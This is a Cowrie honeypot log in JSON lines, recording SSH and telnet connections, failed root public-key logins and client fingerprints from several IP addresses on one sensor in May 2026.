{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCl+QXxLB7/Pw1t5VrpBnwoUYBRMJ9TSlR9AphPaR1LeALY6ShuVUl3XPOCG7s5ix4SdvGM8dDgCyNVPyJ94Mk4D+U4oqoQkeUjEq5xQt8edFAO751Qs0WSF7UMBQkcnou++CDxvPUbNx/6lQ4gCGJrCl5cZXk1hNy9EprUBgli8jNrg2CoE/azU8j4sZklZCAenG7bgUB3ZZ2qkrJhoL5FUnrGwGw3g6XcAz1uUFJqkxQSvMTHanUT8hyXbTRoz+3OQaJRUbDVMRB80oa3LyxZwnIEgcNqRd0whUSH2fLSu+XseSlCRI8vwraRHw+Ex3ocHlPEIo7x8zAWSLR6QUGhN0unJVPLYaFDEcF4oEnDLdsAtE92Rq7i8fzN91TIaMg/EoY8Wm8Q3mc9OMrWH/UVCgcSSiH1Cb7dTP0Xb1ErVM+UVpIVOZkayYTiF8EpSLpLBFfEIWXYv/FmWefg0c+rqFWEpWsiXXs7isxCgaT/BKxC4RvGwmte3DIJEg9AGk8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.171623Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.186309Z","src_ip":"108.181.132.17","session":"68027c9e0e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":37492,"dst_ip":"159.203.135.109","dst_port":23,"session":"a19489a3b139","protocol":"telnet","message":"New connection: 147.182.143.59:37492 (159.203.135.109:23) [session: a19489a3b139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:42.351575Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"669b18fbde12","protocol":"telnet","message":"New connection: 50.6.18.72:43602 (159.203.135.109:23) [session: 669b18fbde12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:44.881771Z"}
{"eventid":"cowrie.session.closed","duration":33.26437950134277,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:44.896873Z","src_ip":"50.6.18.72","session":"36f9161e3140","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.51","src_port":40730,"dst_ip":"10.17.0.5","dst_port":22,"session":"28bd37572891","protocol":"ssh","message":"New connection: 208.87.243.51:40730 (10.17.0.5:22) [session: 28bd37572891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.082189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.086703Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.157054Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaYHkHsftsItMJIB6Rw8y0B4cPhJ8yc4mtzOPtzIfTBW38rEOPl5olqS7MU0lAcoTr4OdYY+ez9pT5Rv8F+zTV9W8WCkDKrvTmpM9+kLSSWxm+S2iTx0qIA3pcYnrnBlsVx3XNTTCNfVlIr9iLHywDxNt9YfVFGpLB1x1xZ1df7C2BCXKoozF2sKu2zJCPCDuCAGBy0h8yhZJhMEuGDBGPVh3ofEET4U0H7ZXAW5rg/iyeC6fOVA0jbwMWnACIO2KPdJBrrqHoNx7I8oxEXB+oAFlkMUAhZRToPepj9QUCxgava4lk6mnCI4FIAKh4OslrllW2poBWilk15TpRVaNR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.481382Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:a4:bf:66:cc:f9:82:89:cd:7e:bc:87:83:19:82:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaYHkHsftsItMJIB6Rw8y0B4cPhJ8yc4mtzOPtzIfTBW38rEOPl5olqS7MU0lAcoTr4OdYY+ez9pT5Rv8F+zTV9W8WCkDKrvTmpM9+kLSSWxm+S2iTx0qIA3pcYnrnBlsVx3XNTTCNfVlIr9iLHywDxNt9YfVFGpLB1x1xZ1df7C2BCXKoozF2sKu2zJCPCDuCAGBy0h8yhZJhMEuGDBGPVh3ofEET4U0H7ZXAW5rg/iyeC6fOVA0jbwMWnACIO2KPdJBrrqHoNx7I8oxEXB+oAFlkMUAhZRToPepj9QUCxgava4lk6mnCI4FIAKh4OslrllW2poBWilk15TpRVaNR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.485072Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfrqC8ovxzjykly4AicQBxxgeu+xmsx9GymRYYUR9jAS5BaVFDr+Xjv2xfdffpcpvbSp8KGwJlvu21c+AkRbr9UqaDnSM89JZlsVbCGOESmpoUVH93j9BlEqr14WNNbTU9yCmNMren78zw3jAysVFFmQhMQQ1HHAOxoRsZy2Id/WcXr6J3WFoKdVOnQmzWk2ZQ5O85a1jopSIOakRW3zCi2vxmBja24TeoUk2etY1+YCx8X5/ct0OW05mXXzS6Na1BV0QH1+50butguGEQUX+lnK1EtT+xp1bm24u94RWYBtL4E5TFR0rMeW+Ex529l9tjdsYTko0MSXUhldulzWS181j90uXdUVlB0erdpWHmSKE8cr43m0GVgcBnYMYJ6ZRSmRpPlMctH110Hppu7WKIVGenEsyMao6yUsush7GKsCjE9ZyM8KUjXGClT0prdbjKfgzcH7mT9m1wmU68TmAQ678EEx+L6HnD8DitWFpN+hpp7aMxp0kvant76aW7jBM0Az3IM5n9ch6SGKGQZYuo97iAzHXflImN0mbKKCEYSBTdPKqQEhL3tnCyZmYnN4Swl+XigYjGCGP8PHOKuKIc7jajNPlxmXEfQGGyDWrFHPIzP4OCdQ226UMT8dBV3wvZqicpR4+g+i06lW/ZCYr/t1uXgqRVXri/vu1hjrdYoQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.554609Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:66:65:38:7b:be:82:7d:19:98:50:fd:be:e5:ba:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCfrqC8ovxzjykly4AicQBxxgeu+xmsx9GymRYYUR9jAS5BaVFDr+Xjv2xfdffpcpvbSp8KGwJlvu21c+AkRbr9UqaDnSM89JZlsVbCGOESmpoUVH93j9BlEqr14WNNbTU9yCmNMren78zw3jAysVFFmQhMQQ1HHAOxoRsZy2Id/WcXr6J3WFoKdVOnQmzWk2ZQ5O85a1jopSIOakRW3zCi2vxmBja24TeoUk2etY1+YCx8X5/ct0OW05mXXzS6Na1BV0QH1+50butguGEQUX+lnK1EtT+xp1bm24u94RWYBtL4E5TFR0rMeW+Ex529l9tjdsYTko0MSXUhldulzWS181j90uXdUVlB0erdpWHmSKE8cr43m0GVgcBnYMYJ6ZRSmRpPlMctH110Hppu7WKIVGenEsyMao6yUsush7GKsCjE9ZyM8KUjXGClT0prdbjKfgzcH7mT9m1wmU68TmAQ678EEx+L6HnD8DitWFpN+hpp7aMxp0kvant76aW7jBM0Az3IM5n9ch6SGKGQZYuo97iAzHXflImN0mbKKCEYSBTdPKqQEhL3tnCyZmYnN4Swl+XigYjGCGP8PHOKuKIc7jajNPlxmXEfQGGyDWrFHPIzP4OCdQ226UMT8dBV3wvZqicpR4+g+i06lW/ZCYr/t1uXgqRVXri/vu1hjrdYoQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.558068Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.504127025604248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.578170Z","src_ip":"50.6.18.72","session":"12a4a28abc2b","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1gHrPYHvNGqjDNM1UMlQOPk+jb+kK0OqS2vnFE351I2ck8AMQApD6exs2QP3tl3k6DK3/3Qb8QVds5fVgWpkHSJpeWl2Np/PRGM0zHg+TmyrkZpS2osfIwWirA7xF1xevkbdnww+L9u0xLxKk4EDnhyojeH1K5JrZwI5VXR7+Td2XP23ukagyx4Ot+lw2U0ngCpvHN5I15MB0uwvAv9K89OgLHsavkgpIsfLQCmpkVeCxz4etP6OPeDaw5tbKBQVbk1RV3h6WNUWhDEAZzUjo+yEBdKHFfq1iKxKsGixu1Htvo/B90vr/ov5Un1FqVci4FzBkhZuwvqQhy+QnKJWe0mj0fn7QCA1gEJufaYbLriuYIkwyFLByxM4nrZ9cAzv0ZH/U6bSDesJ82jDZY9lOOiS8WlqrBwdnK9plxS8Bhh/fcKzb8EfkcxfrZaGaPWjZ4oMFaU9N9/g6IgLfAF6nu++A9A0tDCPRBgJndY7ejzpW0oXePS8UTpSNjk06HbB1Z8iU5XrQaeMdo2s6ACCsOnRNQtEqm9ZRtrIuBrh1O5904hWBx3DV9YA33tWfu4azpVT8LgC9PX7aY67JOaoKMZb5KWzAK8j9cnOySGljstdtVkRaoi6BQtD5IryENh/1WM5ygIEqo1nchFMAye+Jf+CLzBgj6ubbxC9bgLWJQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.632510Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:cc:97:d4:83:5a:a5:7f:08:0c:c6:e4:02:fa:bf:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1gHrPYHvNGqjDNM1UMlQOPk+jb+kK0OqS2vnFE351I2ck8AMQApD6exs2QP3tl3k6DK3/3Qb8QVds5fVgWpkHSJpeWl2Np/PRGM0zHg+TmyrkZpS2osfIwWirA7xF1xevkbdnww+L9u0xLxKk4EDnhyojeH1K5JrZwI5VXR7+Td2XP23ukagyx4Ot+lw2U0ngCpvHN5I15MB0uwvAv9K89OgLHsavkgpIsfLQCmpkVeCxz4etP6OPeDaw5tbKBQVbk1RV3h6WNUWhDEAZzUjo+yEBdKHFfq1iKxKsGixu1Htvo/B90vr/ov5Un1FqVci4FzBkhZuwvqQhy+QnKJWe0mj0fn7QCA1gEJufaYbLriuYIkwyFLByxM4nrZ9cAzv0ZH/U6bSDesJ82jDZY9lOOiS8WlqrBwdnK9plxS8Bhh/fcKzb8EfkcxfrZaGaPWjZ4oMFaU9N9/g6IgLfAF6nu++A9A0tDCPRBgJndY7ejzpW0oXePS8UTpSNjk06HbB1Z8iU5XrQaeMdo2s6ACCsOnRNQtEqm9ZRtrIuBrh1O5904hWBx3DV9YA33tWfu4azpVT8LgC9PX7aY67JOaoKMZb5KWzAK8j9cnOySGljstdtVkRaoi6BQtD5IryENh/1WM5ygIEqo1nchFMAye+Jf+CLzBgj6ubbxC9bgLWJQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.635944Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwu1HXVTZU7as892vO3zpI1X7s2o34mZ5FF0e9iijGY7LPKydy0Rky1m8B4VJnuLcsDgWXl3uAUDOzKyMpxvjOx56s4ePeqq6p71LCJ6+uuT532oIyMzQfvVqskflY5+osxqdRY3hKz8LCAWchvyIZcIc0l6rTcfd0q9fg16zHYmVxt1ot7zjNNjRgh2PhVNb/LBRfmqq5mNmlFthfk7dQsQmzGEL14Delb2933J+SyB6u0qZPpm5cvrNWBkp6T9XGC3dqCCbnoZk4w/Y2rHgWhxgWesATat7w87MgiMiQ8W7T90eWcvA+ztLR4RRL7hDrvImoRmMwzBNgKCmYD/L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.704481Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:23:4f:00:7b:97:80:08:b7:20:ff:3c:e8:87:e8:6a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEwu1HXVTZU7as892vO3zpI1X7s2o34mZ5FF0e9iijGY7LPKydy0Rky1m8B4VJnuLcsDgWXl3uAUDOzKyMpxvjOx56s4ePeqq6p71LCJ6+uuT532oIyMzQfvVqskflY5+osxqdRY3hKz8LCAWchvyIZcIc0l6rTcfd0q9fg16zHYmVxt1ot7zjNNjRgh2PhVNb/LBRfmqq5mNmlFthfk7dQsQmzGEL14Delb2933J+SyB6u0qZPpm5cvrNWBkp6T9XGC3dqCCbnoZk4w/Y2rHgWhxgWesATat7w87MgiMiQ8W7T90eWcvA+ztLR4RRL7hDrvImoRmMwzBNgKCmYD/L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.707958Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCl+QXxLB7/Pw1t5VrpBnwoUYBRMJ9TSlR9AphPaR1LeALY6ShuVUl3XPOCG7s5ix4SdvGM8dDgCyNVPyJ94Mk4D+U4oqoQkeUjEq5xQt8edFAO751Qs0WSF7UMBQkcnou++CDxvPUbNx/6lQ4gCGJrCl5cZXk1hNy9EprUBgli8jNrg2CoE/azU8j4sZklZCAenG7bgUB3ZZ2qkrJhoL5FUnrGwGw3g6XcAz1uUFJqkxQSvMTHanUT8hyXbTRoz+3OQaJRUbDVMRB80oa3LyxZwnIEgcNqRd0whUSH2fLSu+XseSlCRI8vwraRHw+Ex3ocHlPEIo7x8zAWSLR6QUGhN0unJVPLYaFDEcF4oEnDLdsAtE92Rq7i8fzN91TIaMg/EoY8Wm8Q3mc9OMrWH/UVCgcSSiH1Cb7dTP0Xb1ErVM+UVpIVOZkayYTiF8EpSLpLBFfEIWXYv/FmWefg0c+rqFWEpWsiXXs7isxCgaT/BKxC4RvGwmte3DIJEg9AGk8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.777262Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:8e:8c:8e:4b:42:b4:33:4e:29:11:80:d6:b7:9e:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCl+QXxLB7/Pw1t5VrpBnwoUYBRMJ9TSlR9AphPaR1LeALY6ShuVUl3XPOCG7s5ix4SdvGM8dDgCyNVPyJ94Mk4D+U4oqoQkeUjEq5xQt8edFAO751Qs0WSF7UMBQkcnou++CDxvPUbNx/6lQ4gCGJrCl5cZXk1hNy9EprUBgli8jNrg2CoE/azU8j4sZklZCAenG7bgUB3ZZ2qkrJhoL5FUnrGwGw3g6XcAz1uUFJqkxQSvMTHanUT8hyXbTRoz+3OQaJRUbDVMRB80oa3LyxZwnIEgcNqRd0whUSH2fLSu+XseSlCRI8vwraRHw+Ex3ocHlPEIo7x8zAWSLR6QUGhN0unJVPLYaFDEcF4oEnDLdsAtE92Rq7i8fzN91TIaMg/EoY8Wm8Q3mc9OMrWH/UVCgcSSiH1Cb7dTP0Xb1ErVM+UVpIVOZkayYTiF8EpSLpLBFfEIWXYv/FmWefg0c+rqFWEpWsiXXs7isxCgaT/BKxC4RvGwmte3DIJEg9AGk8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.781250Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:48.851142Z","src_ip":"208.87.243.51","session":"28bd37572891","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36416,"dst_ip":"159.203.135.109","dst_port":23,"session":"a437336906ac","protocol":"telnet","message":"New connection: 50.6.18.72:36416 (159.203.135.109:23) [session: a437336906ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:49.975955Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36418,"dst_ip":"159.203.135.109","dst_port":23,"session":"01eb870b9cc5","protocol":"telnet","message":"New connection: 50.6.18.72:36418 (159.203.135.109:23) [session: 01eb870b9cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:50.128468Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36420,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb2155ccaa8","protocol":"telnet","message":"New connection: 50.6.18.72:36420 (159.203.135.109:23) [session: 8cb2155ccaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:52.793803Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36436,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa4a8ecc12a8","protocol":"telnet","message":"New connection: 50.6.18.72:36436 (159.203.135.109:23) [session: aa4a8ecc12a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:53.964997Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":36448,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc61cc6c974f","protocol":"telnet","message":"New connection: 50.6.18.72:36448 (159.203.135.109:23) [session: fc61cc6c974f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.001089Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38640,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8907143891d","protocol":"telnet","message":"New connection: 45.58.127.90:38640 (10.17.0.5:23) [session: f8907143891d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.005879Z"}
{"eventid":"cowrie.session.closed","duration":13.18468976020813,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.536180Z","src_ip":"147.182.143.59","session":"a19489a3b139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.76757335662842,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.571411Z","src_ip":"45.58.127.90","session":"329a6fd4823e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11877155303955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.730362Z","src_ip":"50.6.18.72","session":"1b9a0145c736","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":58262,"dst_ip":"159.203.135.109","dst_port":23,"session":"54e3f9e0ad13","protocol":"telnet","message":"New connection: 50.6.18.72:58262 (159.203.135.109:23) [session: 54e3f9e0ad13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.993149Z"}
{"eventid":"cowrie.session.closed","duration":0.9917404651641846,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:55.997522Z","src_ip":"45.58.127.90","session":"f8907143891d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":58272,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ce5655fac05","protocol":"telnet","message":"New connection: 50.6.18.72:58272 (159.203.135.109:23) [session: 9ce5655fac05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:56.028754Z"}
{"eventid":"cowrie.session.closed","duration":31.121054887771606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:56.117113Z","src_ip":"50.6.18.72","session":"c42eb52f0e30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90521740913391,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:56.183145Z","src_ip":"50.6.18.72","session":"eb74c17e7ecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.476685523986816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:57.582840Z","src_ip":"50.6.18.72","session":"219084604058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":58280,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebc4b293602f","protocol":"telnet","message":"New connection: 50.6.18.72:58280 (159.203.135.109:23) [session: ebc4b293602f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:21:59.038741Z"}
{"eventid":"cowrie.session.closed","duration":31.03353524208069,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:00.297827Z","src_ip":"50.6.18.72","session":"0b1629d2f0a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.18570375442505,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:01.186453Z","src_ip":"45.58.127.90","session":"350e23310e82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94082498550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:02.852030Z","src_ip":"50.6.18.72","session":"5fb2c2ff012c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698766231536865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:03.851994Z","src_ip":"50.6.18.72","session":"08a5c9f8121c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02592921257019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:22:04.852542Z","src_ip":"50.6.18.72","session":"407d1a1d2c34","protocol":"telnet"}
